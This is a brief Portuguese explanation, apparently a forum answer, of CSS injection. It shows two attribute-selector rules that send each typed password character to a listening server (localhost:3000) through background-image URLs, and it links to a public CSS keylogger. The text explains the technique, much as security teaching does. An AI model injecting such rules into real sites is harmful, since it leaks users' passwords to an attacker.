CSS Injection é sim um ataque que pode as vezes se tornar preocupante, porém depende bastante da sua aplicação, normalmente aplicações como wordpress em que possibilita o usuário inserir o seu proprio CSS é mais vunerável a esse tipo de ataque, o mais comum de se ver é utilizando o background do css, você já deve ter reparado que ele utiliza o parametro url sendo possivel adicionar uma url externa nesse estilo. Com essa possibilidade é possível hookar eventos de teclas e criar um estilo para cada tecla um exemplo
Se você tem um formulário com um input que contenha uma senha
<input type="password" />
Seria possível dessa forma, o invasor injetar um css que hooka esse evento, ficando dessa forma
input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); }
input[type="password"][value$="b"] { background-image: url("http://localhost:3000/b"); }
Você adicionando um servidor que ouve essas requisições seria possivel saber que a tecla "a" foi pressionada, assim como seria possivel a tecla "b", "c" e assim por diante, é trabalhoso porém é completamente possivel criar um keylogger em CSS. Também é possível como citado nos comentários inserir javascript entre outras opções. Caso queira dar uma analisada em um keylogger css segue o link
Keylogger CSS: https://github.com/maxchehab/CSS-Keylogging/blob/master/css-keylogger-extension/keylogger.css